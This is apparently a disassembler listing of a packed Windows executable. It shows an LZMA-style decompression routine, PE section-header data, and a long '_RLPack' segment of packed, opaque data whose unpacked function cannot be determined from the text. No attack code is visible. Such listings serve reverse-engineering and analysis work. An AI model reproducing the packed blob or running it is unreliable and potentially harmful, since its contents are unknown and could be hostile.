loc_42BE7F:				; CODE XREF: sub_42BE0D+2Ej
					; sub_42BE0D+5Cj
		pop	edi
		pop	esi
		retn
sub_42BE0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BE82	proc near		; CODE XREF: sub_42B344+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_42BEEA
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw


loc_42BEEA:				; CODE XREF: sub_42BE82+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5


loc_42BF0C:				; CODE XREF: sub_42BE82+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_42BF18
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_42BF20
; ---------------------------------------------------------------------------


loc_42BF18:				; CODE XREF: sub_42BE82+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]


loc_42BF20:				; CODE XREF: sub_42BE82+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_42BF0C
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_42C1E8


loc_42BF43:				; CODE XREF: sub_42BE82+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_42BC51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_42BFF8
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_42BF98
		and	[ebp+var_4], 0
		jmp	short loc_42BFA8
; ---------------------------------------------------------------------------


loc_42BF98:				; CODE XREF: sub_42BE82+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_42BFA4
		sub	[ebp+var_4], 3
		jmp	short loc_42BFA8
; ---------------------------------------------------------------------------


loc_42BFA4:				; CODE XREF: sub_42BE82+11Aj
		sub	[ebp+var_4], 6


loc_42BFA8:				; CODE XREF: sub_42BE82+114j
					; sub_42BE82+120j
		cmp	[ebp+var_14], 0
		jz	short loc_42BFD5
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_42BD88
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_42BFF3
; ---------------------------------------------------------------------------


loc_42BFD5:				; CODE XREF: sub_42BE82+12Aj
		push	1
		pop	ebx


loc_42BFD8:				; CODE XREF: sub_42BE82+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_42BC51
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_42BFD8


loc_42BFF3:				; CODE XREF: sub_42BE82+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_42C06B
; ---------------------------------------------------------------------------


loc_42BFF8:				; CODE XREF: sub_42BE82+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_42BC51
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_42C0F1
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_42BC51
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_42C079
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_42BC51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42C0C5
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]


loc_42C06B:				; CODE XREF: sub_42BE82+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_42C1DC
; ---------------------------------------------------------------------------


loc_42C079:				; CODE XREF: sub_42BE82+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_42BC51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42C091
		mov	eax, [ebp+var_10]
		jmp	short loc_42C0BC
; ---------------------------------------------------------------------------


loc_42C091:				; CODE XREF: sub_42BE82+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_42BC51
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42C0AD
		mov	eax, [ebp+var_C]
		jmp	short loc_42C0B6
; ---------------------------------------------------------------------------


loc_42C0AD:				; CODE XREF: sub_42BE82+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx


loc_42C0B6:				; CODE XREF: sub_42BE82+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx


loc_42C0BC:				; CODE XREF: sub_42BE82+20Dj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx


loc_42C0C5:				; CODE XREF: sub_42BE82+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_42BE0D
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_42C1B5
; ---------------------------------------------------------------------------


loc_42C0F1:				; CODE XREF: sub_42BE82+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_42BE0D
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_42C131
		jmp	short loc_42C134
; ---------------------------------------------------------------------------


loc_42C131:				; CODE XREF: sub_42BE82+2ABj
		push	3
		pop	eax


loc_42C134:				; CODE XREF: sub_42BE82+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_42BD16
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_42C1AC
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_42C183
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_42BD4D
		add	esp, 0Ch


loc_42C17F:				; CODE XREF: sub_42BE82+328j
		add	ebx, eax
		jmp	short loc_42C1B1
; ---------------------------------------------------------------------------


loc_42C183:				; CODE XREF: sub_42BE82+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_42BBEF
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_42BD4D
		add	esp, 14h
		jmp	short loc_42C17F
; ---------------------------------------------------------------------------


loc_42C1AC:				; CODE XREF: sub_42BE82+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax


loc_42C1B1:				; CODE XREF: sub_42BE82+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx


loc_42C1B5:				; CODE XREF: sub_42BE82+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_42C1E8
		inc	edi
		inc	edi


loc_42C1BD:				; CODE XREF: sub_42BE82+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_42C1DC
		cmp	ecx, [ebp+arg_20]
		jb	short loc_42C1BD


loc_42C1DC:				; CODE XREF: sub_42BE82+1F2j
					; sub_42BE82+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_42BF43


loc_42C1E8:				; CODE XREF: sub_42BE82+BBj
					; sub_42BE82+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_42BE82	endp

; ---------------------------------------------------------------------------
		align 10h
dword_42C200	dd 0C4h, 0Dh dup(0)		dd 1F000h, 0A060h, 200h, 20000h, 167F1h, 1, 2B42Ch, 400000h
		dd 10Fh, 173C8h, 3 dup(0)
		dd 1, 0
		dd 1D400h, 3, 1, 200h, 16000h, 1000h, 15FE7h, 0E0000020h
		dd 1, 200h, 1000h, 17000h, 0E4Ch, 40000040h, 1,	200h, 6000h
		dd 18000h, 71A8h, 0C0000040h, 74Fh dup(0)
_packed		ends

; Section 2. (virtual address 0002E000)
; Virtual size			: 00013226 (  78374.)
; Section size in file		: 00013226 (  78374.)
; Offset to raw	data for section: 0002E000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 42E000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 80C1E15Eh, 0A22A0680h, 8E1788D9h, 20503307h,	0C607B0B7h
		dd 1ED3EB10h, 0FE9400DEh, 51E6CE23h, 1D00D00Ch,	68AA432Ah
		dd 7089D75Fh, 49270075h, 82FBEE9Ch, 0AEE4519Fh,	9B63EB00h
		dd 896A2270h, 697A09h, 58381DBh, 0F7CC45A9h, 0B0AB1900h
		dd 8C5A4CDCh, 0A0780060h, 0EEBF414Dh, 593B124Ah, 40100022h
		dd 832EFEDDh, 0EA4F6C4h, 0BE82204Bh, 67A7ABE0h,	46006FF3h
		dd 8058F7BDh, 0EAC347h,	1A9F7B1Ch, 98233310h, 2AB54300h
		dd 5715481Fh, 58263F5Ch, 0B47FB280h, 39DAA5BAh,	27BB3Fh
		dd 9CECF24Ah, 0E2503h, 0E1748793h, 130FF0DAh, 0C0005F7Eh
		dd 48C44BB6h, 7B13136h,	0BF720B03h, 870880CAh, 0B4034111h
		dd 26078194h, 1F9F988Eh, 742100D6h, 0EFCAE897h,	37002B69h
		dd 84C65493h, 1467B6Eh,	0AE16D52Ah, 0DC3BDEF7h,	3303F1B0h
		dd 53FA5C7h, 8CE4B05Ah,	61CF00EDh, 3AF08032h, 0C00713D0h
		dd 2794EBFh, 1B49A650h,	0D37B00B5h, 3628FCA0h, 8B01688Eh
		dd 0A57C5B1Fh, 53F86AA4h, 0BE6F0046h, 26D8A239h, 72764982h
		dd 0E4730100h, 872DF218h, 0F62503BEh, 37639A08h, 6DD3BFB8h
		dd 0DA0A8007h, 43308C2Fh, 1E519CFDh, 0C061293Bh, 0C6932656h
		dd 14004F16h, 1C63474Eh, 1C58B164h, 80B323A5h, 4F87FC83h
		dd 0DA007C1Bh, 0C3339B31h, 7DCFC01Ah, 0E0600ADh, 0AAABDECAh
		dd 0D4F35B73h, 0BE39813Fh, 863D0146h, 973748FBh, 13BE1D0h
		dd 2440909Dh, 0F4D57F75h, 1B7C893Ch, 692DAA00h,	62B45A8Fh
		dd 32830049h, 0CC486B4Fh, 0AA488198h, 686F0079h, 501CFDDh
		dd 0C09600FBh, 87C302DEh, 6A000C53h, 4795183Fh,	2FBE78h
		dd 0FC5176B0h, 711F2509h, 0D9D68005h, 0EC035605h, 809D128Ch
		dd 86A06Ah, 0DEAA3FE5h,	0B8A364EBh, 0F781C600h,	18C409E8h
		dd 2BB41F0Ch, 8ED340A0h, 507A4D34h, 8BF09C0Eh, 6030EFD9h
		dd 1D8AB1AAh, 800500ECh, 6AF58292h, 90066E9h, 0BB8E6F64h
		dd 777FF88Dh, 0CC5100A9h, 170FC435h, 0BA3B9B65h, 80D8B849h
		dd 0A552D381h, 83E009h,	0B173026Fh, 0F6D75D8Eh,	255A6B03h
		dd 89ADA404h, 0E2E8CA21h, 0F7B01CEAh, 0F4428305h, 1B8632Ah
		dd 2900180Ah, 4921AEAAh, 3F624D0Eh, 0E4806B11h,	792A60C2h
		dd 4C004768h, 0AD7EC6ECh, 764FA077h, 1CF600FEh,	5C7C025h
		dd 0D939BA51h, 10DE8397h, 88AABF16h, 777371Ah, 7B408496h
		dd 0DF540EAh, 0D9035781h, 0DC105F02h, 9613C89Ah, 9743D46h
		dd 0D88A268Fh, 0F5EC2360h, 0B030818h, 361A76FAh, 8EC60059h
		dd 640EE5BCh, 70055F3h,	928D121Eh, 1EB64CA7h, 3102B34h
		dd 1697D25Ah, 0EB49BD90h, 67E696E6h, 0C98B5C00h, 69F57D91h
		dd 0D860004Fh, 0CF853632h, 0FB1C1E88h, 1080E506h, 78579F61h
		dd 0E67DE42Eh, 7071007Fh, 0AFFE8F7Ch, 7B74D041h, 0AE9C8C00h
		dd 8E6392A4h, 1DB40F52h, 3440E873h, 0DE5E007h, 1FC12800h
		dd 0CC69351Bh, 0DBEC9Ch, 719D027Fh, 75A46D0h, 9B734800h
		dd 0CF05D53Eh, 1E237E44h, 0C121E0A1h, 6F4F3F35h, 17AE86Ch
		dd 2A9671Dh, 325DCFC0h,	0BC30EDh, 0D4684452h, 93FF4872h
		dd 5A004DFCh, 50D2D042h, 10D490Ch, 72622EFCh, 20F05415h
		dd 37003025h, 11D679A9h, 93A1CDh, 9AF90CBBh, 0E19C95ABh
		dd 0AF5C4000h, 244A0882h, 63DE00FDh, 0A00CD574h, 0A477F006h
		dd 8E3C7500h, 3D70296Ch, 28A006Dh, 0EEB25EB1h, 4C008737h
		dd 95300B44h, 0C2D356h,	847BA177h, 3CF57934h, 1E544Ch
		dd 660EF7ABh, 7256D6h, 4505FF01h, 4FECCD6Fh, 26E6200h
		dd 0A66602Bh, 50A40038h, 9DFFD1BEh, 0B6FE192Dh,	3113DF09h
		dd 0DCDC80A2h, 0DD055Dh, 1A6F9D51h, 390BCE7Fh, 0C96EA900h
		dd 0EFF97A1h, 772300F0h, 0C802D02Ah, 0D800DB15h, 0D75BCA3Ah
		dd 3BDDD5h, 9DCC03EEh, 984C41F3h, 0C02A1B00h, 67445BAh
		dd 0D3E2FBh, 0FFF87D5h,	4D0BBC9Bh, 90DE9500h, 0EFB1A419h
		dd 28910366h, 0D43542AAh, 52A6C3DCh, 0C06385E9h, 3200375Fh
		dd 0B3DC9125h, 0BC4AA1Ch, 5C653968h, 81F4BC00h,	19033C1Eh
		dd 80ABF0E5h, 0E277E803h, 76DD0099h, 48955A4Bh,	6D791CE3h
		dd 808EBE00h, 0C1D077A5h, 1F27D86h, 6319CA17h, 0E4156949h
		dd 0B7002FB1h, 24D5E868h, 0FCFE7Ah, 0C86DE096h,	0F4829F1Dh
		dd 0BAC3ED00h, 35699DFBh, 9466007Dh, 0E87B36CEh, 0E11DBFA8h
		dd 3BC3DA58h, 0B083784Ch, 5E954Fh, 2A5C37DFh, 0C136338Fh
		dd 0E446B707h, 6C71C5Bh, 0FBE990F0h, 6CB30427h,	825EF226h
		dd 72C09352h, 0EC013E82h, 6DF4E15Fh, 0E8CF5B4Ah, 906C87F3h
		dd 1E8477D9h, 0C3C68C6Eh, 0B6D8A028h, 10ED9CE0h, 0AF3FD700h
		dd 0DBF736C4h, 3D991E78h, 0D8490742h, 0D0DC20B5h, 95035E4Eh
		dd 8C9E0F09h, 0C869C89Dh, 72210092h, 4977F565h,	81014624h
		dd 0EDB5DCCCh, 89F5A6AAh, 5C1FABCCh, 3200282Ch,	6124FEF6h
		dd 0B000BEEFh, 3D64ACE1h, 0B3782Dh, 9B38BF18h, 0E64D8891h
		dd 0EA123Fh, 0D1278719h, 98438474h, 6E0004Ch, 49240BFFh
		dd 0B7006993h, 884D9CD0h, 9032E507h, 89EE00B4h,	27509BA0h
		dd 170010C7h, 0C9F2AA66h, 740C24h, 54E7E5C4h, 8A1531CDh
		dd 71255300h, 6B84B23Fh, 0BB9D003Ch, 42857D77h,	6E0FB3F5h
		dd 0E0A105ABh, 417B4F7Fh, 37A83BF8h, 63A41089h,	95ADA00h
		dd 9A17E361h, 0B30FEBA1h, 46B495Ch, 0CD800429h,	77C542DDh
		dd 0CE960013h, 5720BCBDh, 0EC0010B5h, 5C78FFF8h, 2724D6h
		dd 12B333A0h, 4A30A565h, 0DCE2E800h, 24E4FEEh, 0FB178E9h
		dd 0A6A06B19h, 508A5580h, 97001568h, 7DFB3ED3h,	99E0AAh
		dd 0FCC49414h, 6B5928Ah, 565BCB03h, 0D0137DD2h,	5A3E04h
		dd 0CC01E680h, 0D1CFA793h, 5B76BA09h, 0DB82008Dh, 3BB1BE1Eh
		dd 0FD0075F2h, 0FBBEA48h, 5F16247Dh, 56008751h,	88F507E1h
		dd 7321002Fh, 69D42E94h, 0C300CC16h, 0FAB83F27h, 0EE2B8F53h
		dd 8C850003h, 1FC21E90h, 600A146h, 0B4686E78h, 7D1EEF3h
		dd 50AA12A8h, 2BCF90B5h, 5FE68DC8h, 87D03000h, 829AEAD6h
		dd 4C080091h, 5BF57354h, 2D7D1704h, 90BAC70Fh, 22748018h
		dd 8E702Eh, 17DB7C7Bh, 31569629h, 533CB900h, 0A7DC7767h
		dd 59BD000Eh, 195F4F9Dh, 2C00980Ah, 3FEF7D9h, 16B9F1D5h
		dd 1E69F39Eh, 7CCE4096h, 0C9D6313Fh, 4EF5D903h,	0C8CAA87Eh
		dd 1FDC141h, 0EE513249h, 0C09B0314h, 0E0073736h, 0C05C2E56h
		dd 0CA60C957h, 4F20FEh,	52985EFDh, 1CF5B5AFh, 0E815B10Dh
		dd 40DE566Ch, 1CB283EFh, 40E358C9h, 0BF3BE267h,	0D00C78Bh
		dd 1971EBD7h, 1C0AB36h,	0B07698D5h, 703E7C0Ah, 75008E14h
		dd 0E7379F3Bh, 5C8479h,	0BCD2C8CFh, 0BAADC4B1h,	7AB82800h
		dd 39579718h, 0AA260032h, 7DF30959h, 0EC000E9Fh, 0AD3B6F3Dh
		dd 2C87FDh, 0CAAFC5D7h,	0D40A3CCDh, 4461E707h, 0BAF36259h
		dd 0CBB4A8C1h, 4584007Ch, 8AC77A97h, 0CC006C10h, 5AD481D3h
		dd 0E19F891h, 7E59E7D5h, 0A188FFE0h, 3A0E16DDh,	2E5BC754h
		dd 10C300BEh, 1C961424h, 84CBBBB0h, 0C0FB0CA5h,	0F04D51F3h
		dd 0CFB27E2Eh, 39020D00h, 2E475Eh, 0EF4FCB18h, 5853FC74h
		dd 0BB7431E6h, 0CC448D00h, 0CBF2DACh, 0B34301E4h, 6835F83Bh
		dd 58F6ECBAh, 62479000h, 23F9F056h, 94DE008Dh, 27A233F1h
		dd 0AC1EC554h, 6D41133Ah, 0B60A85D8h, 0F4124E4h, 50A57270h
		dd 0F089C7E0h, 96782BFCh, 0E436D700h, 18FD1323h, 40E80025h
		dd 74FE8DACh, 76240897h
		dd 6006960h, 9EEAE24Bh,	85E30302h, 5A759BD6h, 6896A3F0h
		dd 99527B0Fh, 89D460C4h, 0E88460h, 4B9CB315h, 418BD0F4h
		dd 1A0A5801h, 37CD3265h, 52B8F4h, 0A26E40CFh, 0AD64B4C0h
		dd 0C756F200h, 2CEACAA7h, 78150046h, 0BE3C2705h, 0D51D4751h
		dd 0FA47A4B1h, 16EE065h, 0B5F5EEA9h, 12B3A30h, 0DEBEEDCDh
		dd 701D786Ah, 0F83CDFCDh, 190F9F3Bh, 0B8FB1D38h, 9CFFA2C0h
		dd 14CDCEEh, 0C98161D9h, 7075B66Ch, 5305420Eh, 0C88D0208h
		dd 0B10015C5h, 94B788A1h, 9CE00006h, 0D5CFD7E9h, 0D20792CBh
		dd 0E1FEB324h, 0DD5A5490h, 0DA8E00CAh, 1B3FA870h, 908ABDh
		dd 0DC167100h, 4E78C31Fh, 0A5762E96h, 31AC3986h, 7873D55h
		dd 33D059F6h, 5390D136h, 2400870Fh, 87955AAh, 82D3FEh
		dd 0DA2EA641h, 0ADBFEBE5h, 36018E00h, 527DB16Fh, 0B5BA00B7h
		dd 7203DB1Dh, 5A0025F5h, 534E328Dh, 48A951h, 0DC63DDC6h
		dd 0B88CBCE3h, 0E0004DF8h, 0C3D069BBh, 1C7CFE96h, 0C0C6F59Ch
		dd 2CE68632h, 9F00B52Eh, 53F08D98h, 0AC05A2h, 0C0E7BA6h
		dd 0AD184919h, 72FD1F00h, 7D1669Eh, 720E681h, 0FAEB60B8h
		dd 8E8A074h, 0BB00D0D3h, 0A5FFFBB9h, 8BE389h, 170C1A38h
		dd 6AD3C464h, 83DAA800h, 6FC9FA6Bh, 0AF6802EEh,	3001A9F8h
		dd 66841440h, 3F372107h, 61090F1h, 79C73411h, 0A7990013h
		dd 14E91AEFh, 0AC007BE2h, 72AFE34Fh, 1378236h, 7CC13029h
		dd 0D8F4DAEDh, 4400F165h, 0B3A160DEh, 3346DBFh,	3714254h
		dd 0DD8877F6h, 392E5624h, 7F00F7CEh, 0DEBD1ADBh, 9271686h
		dd 6EF900F8h, 557EA5ACh, 3B233Bh, 93F47C89h, 9325472h
		dd 2D82CE11h, 50BC5280h, 8000C97Eh, 75C1A0B1h, 1CF0EA3h
		dd 52F75814h, 20D012F8h, 0C800B264h, 822F6264h,	0DA72D7h
		dd 0AA31AD3Ah, 0B16CFB7Ch, 23362600h, 92A4F44Dh, 84600CCh
		dd 52DAE168h, 42E4AEBEh, 66FFA300h, 0F82C69DCh,	0FED00747h
		dd 20F7620Bh, 0CA35789h, 5A597000h, 5B8E7A14h, 358003Dh
		dd 1CB3BDDFh, 0BF00DC52h, 0BE8FEE39h, 0AC1D59h,	0A26F7504h
		dd 835678CEh, 0ED439B00h, 39D13CE6h, 0A89C02CAh, 0E2333BC1h
		dd 25095CE0h, 7283A200h, 0F7B7FACFh, 2F2A00A6h,	0EC0A7FACh
		dd 0B10041DAh, 8A238596h, 5C354956h, 7C7D9B55h,	0C46C00FFh
		dd 0B6C1F1B7h, 0F300A4F9h, 0A670C12h, 4A3EEAh, 4CEB0EF0h
		dd 0F596BE69h, 0C43E2EE2h, 0CF848092h, 0E0E5A3B3h, 64521C6Dh
		dd 31D94003h, 436BEF4Ch, 0CE2D6E07h, 6F908068h,	0A1873h
		dd 55F29771h, 0C36302C5h, 67EE4D14h, 17280297h,	60AC19B9h
		dd 7C0575h, 311495E9h, 678B477Fh, 17F23Dh, 0C92F851Fh
		dd 0F4907023h, 337F36h,	4431B20h, 77F889F5h, 40000F75h
		dd 0C72B3409h, 0CE308Ch, 0E2980E19h, 617C4443h,	107DD800h
		dd 7E181692h, 251C003Eh, 0B1B32FC6h, 6F00E52Dh,	0A6DC2A37h
		dd 3EE03Ch, 4596F7A2h, 40BF1586h, 512ED205h, 37C0C26Ah
		dd 1DB43D27h, 8053F53Fh, 0DD4A3AE8h, 0FD3E440Bh, 2B8507DFh
		dd 0BA611EA8h, 0B5702E02h, 0C4810004h, 18B7726h, 9F3E8E64h
		dd 0AE7D87EFh, 87007297h, 0B82E8507h, 6D5A00E7h, 9B319801h
		dd 91B07E15h, 0F8AAB400h, 0DECF85B2h, 0A5A300ECh, 0B033EA0h
		dd 6F70EE1Bh, 34927C1Ch, 60902500h, 9D79C4h, 0BCCBC7EBh
		dd 942AFF70h, 83C5E43Bh, 7F1E0EB9h, 0EC28C08Eh,	0BDF604E8h
		dd 80554513h, 9E969037h, 641CC707h, 0E51041B4h,	237D063h
		dd 0C20DF6C3h, 88403E3Ah, 17769F86h, 7D01FAF4h,	0ECD5AAD2h
		dd 0D8F3CB28h, 0D0B3B4h, 2AED996Eh, 0A7E78831h,	0F9E00700h
		dd 21FEAA0Fh, 0F29D009Eh, 0F4EF5A19h, 7600E482h, 0B6C3A078h
		dd 22E1CAh, 9733AFDAh, 16186607h, 65048900h, 961B917Bh
		dd 0CE3E37DEh, 6EEB107Eh, 1F0B9256h, 800834CFh,	53DBC19Bh
		dd 4878073Ch, 8074A2CBh, 2859FE80h, 172EF000h, 0E50DFC7h
		dd 915A48BFh, 6475A300h, 6B4DC9Ah, 0F4A50B00h, 789C2DD7h
		dd 2B915CF9h, 0F18E7300h, 0CACDA83Fh, 0C3366600h, 7708C718h
		dd 506C007Dh, 35B3E09Fh, 8E002325h, 0D7ACB216h,	3A731C61h
		dd 0FB58C4C5h, 0E6FDA801h, 0E89C1936h, 88005A1Fh, 2DA0B2CAh
		dd 0E403D0h, 20615C96h,	8C451432h, 5D859CC0h, 0AD5066h
		dd 0B05E1B8Dh, 42364B63h, 92EC2F00h, 53B73C3Ah,	99AD008Fh
		dd 24CA6D08h, 9C0E5FE7h, 0C701DCE3h, 976046DBh,	4872C06Bh
		dd 1E07D4E0h, 10EE17EBh, 0E85B70C5h, 35A13Fh, 0BC85089Bh
		dd 1F688EEDh, 0C0D2E9A0h, 200B4966h, 0FA12D93Ah, 6F098D8Ch
		dd 0CCB480BFh, 1DC42AE2h, 80D611C3h, 67EA7BA3h,	7D00EEA5h
		dd 72E9F239h, 0F854B0h,	964977ABh, 0C4A761F9h, 1A2DB900h
		dd 0F065A52Fh, 0AC7300B0h, 0AD476375h, 4C00CB77h, 8C7A1981h
		dd 0E25660h, 0BB5AAA53h, 0B0DA9F01h, 3891BBA3h,	8E13E0BCh
		dd 1D8D3709h, 2E4C805Dh, 90B448DCh, 3107067h, 0EC11ECEh
		dd 60AF2411h, 0A3BE2C50h, 546E0D00h, 0E09C5A45h, 0ACA900D4h
		dd 0D0F7A13Fh, 0DB00EFE2h, 0C321F23Ah, 43E8BCh,	0B3ACD6E5h
		dd 6F7972A1h, 0FD158h, 3ADEA61Eh, 7B45EB4Fh, 80C1F1Ch
		dd 85FF8047h, 8D60CDA0h, 0B812DD00h, 0FD0A3209h, 0EF6C0F40h
		dd 8B41BDFEh, 4085EBE7h, 753F5ECAh, 7B1F2717h, 838DC40Eh
		dd 0EF306A57h, 95E09BB7h, 0A6BEEFh, 0A0C0C361h,	0BC2F5787h
		dd 5B53AD0Fh, 0DD4983A4h, 915AF875h, 3B8A4CC2h,	78D4D000h
		dd 0E89C93C4h, 47906000h, 3AEB2FCEh, 1C8D00FBh,	0F7D7DBFFh
		dd 5E00B51Ah, 0B74E5644h, 4ADE22h, 6FFB018Ch, 0DC6918Ah
		dd 415E6800h, 0BCBD67B8h, 75720062h, 35E99FE7h,	9600D4C2h
		dd 7E616407h, 33EB0CDh,	738BB757h, 0D7F09A1Fh, 8A481B1Ch
		dd 0B1AC074Ch, 0C821F09Dh, 9EE4E869h, 0D70839F5h, 0FF80077h
